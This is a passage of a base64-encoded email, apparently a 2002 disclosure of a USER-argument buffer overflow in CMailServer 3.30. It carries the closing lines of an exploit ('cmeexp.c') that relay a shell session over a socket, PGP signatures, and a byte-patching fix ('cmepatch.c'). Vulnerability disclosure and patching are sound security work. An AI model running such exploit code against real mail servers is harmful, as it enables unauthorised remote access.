Ow0KICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRmKCJjb25uZWN0aW9uIHJlc2V0XG4iKTsg ZmZsdXNoKHN0ZG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICBleGl0KDEpOw0KICAgICAg ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZihGRF9JU1NFVChmZCwmaW5wdXQpKQ0KICAg ICAgICAgICAgICAgICAgICAgICAgd3JpdGUoMSxidWZmZXIscmVhZChmZCxidWZmZXIsYnVmc2l6 ZSkpOw0KICAgICAgICAgICAgICAgIGlmKEZEX0lTU0VUKDAsJmlucHV0KSkNCiAgICAgICAgICAg ICAgICAgICAgICAgIHdyaXRlKGZkLGJ1ZmZlcixyZWFkKDAsYnVmZmVyLGJ1ZnNpemUpKTsNCiAg ICAgICAgfQ0KDQogICAgICAgIGNsb3NlKGZkKTsNCg0KfQ0KDQo= --Hush_boundary-3ceac1024cb46 Content-type: text/plain; name="cmeexp.c.sig" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="cmeexp.c.sig" LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0NClZlcnNpb246IEh1c2ggMi4xDQpOb3RlOiBU aGlzIHNpZ25hdHVyZSBjYW4gYmUgdmVyaWZpZWQgYXQgaHR0cHM6Ly93d3cuaHVzaHRvb2xzLmNv bQ0KDQp3ajhEQlFBODZzRk9OblNndDRqTSs3MFJBakFwQUtDLytYY3g2Zjc4MHF2cGdQYzJxdHkv MzE2V1dnQ2dvTGZLOHdtMg0KbHVuTUlTWk5Zcm5KRVpvQ2dQWT0NCj0vZVhFDQotLS0tLUVORCBQ R1AgU0lHTkFUVVJFLS0tLS0NCg== --Hush_boundary-3ceac1024cb46 Content-type: application/octet-stream; name="cmepatch.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="cmepatch.c" LyoNCgljbWVwYXRjaC5jDQoJTWF5IDIwLCAyMDAyDQoJDQoJdGhpcyBpcyBhIHF1aWNrIGFuZCBk aXJ0eSBwYXRjaC4uIGl0IHNpbXBseSBhZGRzIGZ1bmN0aW9uYWxpdHkgdGhhdA0KCWluc2VydHMg YSBOVUxMIGFzIHRoZSAyMDB0aCBieXRlIG9mIHRoZSBwYXNzZWQgVVNFUiBhcmd1bWVudCBwcmlv cg0KCXRvIHRoZSBhZmZlY3RlZCBzcHJpbnRmKCkuLiBub3QgZXZlbiByZW1vdGVseSBlbGVnYW50 IGJ1dCBlbm91Z2ggdG8NCglzdG9wIHlvdSBmcm9tIGdldHRpbmcgaXpuMHduM0QNCgkNCglJIFRB S0UgTk8gUkVTUE9OU0lCSUxJVFkgRk9SIFRIRSBEQU1BR0UgVEhJUyBNQVkgRE8NCglUTyBZT1VS IFNZU1RFTSwgRUdPLCBXRUVXRUUsIE9SIE9USEVSV0lTRSA7fn5+fn48DQoNCgkyYzc5Y2JlMTRh YzdkMGI4NDcyZDNmMTI5ZmExZGY1NUBodXNobWFpbC5jb20NCg0KKi8NCg0KDQojaW5jbHVkZSA8 c3RkaW8uaD4NCg0KICAgICAgICBGSUxFICpjbWFpbDsNCg0KICAgICAgICBjaGFyIHAxW10gPSB7 MHgwMCwweGQwfTsNCiAgICAgICAgY2hhciBwMltdID0gezB4ZTksMHgxNiwweDgyLDB4MDQsMHgw MCwweDkwLDB4OTB9Ow0KICAgICAgICBjaGFyIHAzW10gPSB7MHg4MSwweGM0LDB4MTUsMHgyNCww eDAwLDB4MDAsMHhjNiwweDA0LDB4MjQsMHgwMCwweDgxLDB4ZWMsMHgxNSwweDI0LDB4MDAsMHgw MCwNCgkJICAgICAweDhkLDB4YmMsMHgyNCwweDRkLDB4MjMsMHgwMCwweDAwLDB4ZTksMHhkMCww eDdkLDB4ZmIsMHhmZiwweDkwfTsNCg0Kdm9pZCBtYWluKCl7DQoJDQoJcHJpbnRmKCJDTWFpbFNl cnZlciAzLjMwIFBBVENIIChNYXkgMjAsIDIwMDIpXG4yYzc5Y2JlMTRhYzdkMGI4NDcyZDNmMTI5 ZmExZGY1NUBodXNobWFpbC5jb21cblxuIik7DQoNCiAgICAgICAgY21haWwgPSBmb3BlbigiQ01h aWxTZXJ2ZXIuZXhlIiwgInJiKyIpOw0KDQogICAgICAgIGlmKCFjbWFpbCl7cHJpbnRmKCInQ01h aWxTZXJ2ZXIuZXhlJyBub3QgZm91bmQgb3Igd3JpdGUgcHJvdGVjdGVkXG4iKTtyZXR1cm47fQ0K DQogICAgICAgIGZzZWVrKGNtYWlsLDB4MWU4LDApOw0KICAgICAgICBmd3JpdGUoJnAxLHNpemVv ZihwMSksMSxjbWFpbCk7DQogICAgICAgIGZzZWVrKGNtYWlsLDB4MTU5ZjQsMCk7DQogICAgICAg IGZ3cml0ZSgmcDIsc2l6ZW9mKHAyKSwxLGNtYWlsKTsNCiAgICAgICAgZnNlZWsoY21haWwsMHg1 ZGMwZiwwKTsNCiAgICAgICAgZndyaXRlKCZwMyxzaXplb2YocDMpLDEsY21haWwpOw0KDQogICAg ICAgIGZjbG9zZShjbWFpbCk7DQoNCglwcmludGYoInBhdGNoIHN1Y2Nlc3NmdWxcbiIpOw0KfQ0K --Hush_boundary-3ceac1024cb46 Content-type: text/plain; name="cmepatch.c.sig" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="cmepatch.c.sig" LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0NClZlcnNpb246IEh1c2ggMi4xDQpOb3RlOiBU aGlzIHNpZ25hdHVyZSBjYW4gYmUgdmVyaWZpZWQgYXQgaHR0cHM6Ly93d3cuaHVzaHRvb2xzLmNv bQ0KDQp3ajhEQlFBODZzRlVOblNndDRqTSs3MFJBa0ZzQUo5dHhSUmZ5RGRoSVJ5UmhqV0lqUndk aGFubGFBQ2dyWlkyWFY2UA0KL2JWaCtUb2h6SXdHU3h3a09zZz0NCj16T2hQDQotLS0tLUVORCBQ R1AgU0lHTkFUVVJFLS0tLS0NCg== --Hush_boundary-3ceac1024cb46--
| |||||||||||||||||||||
|
|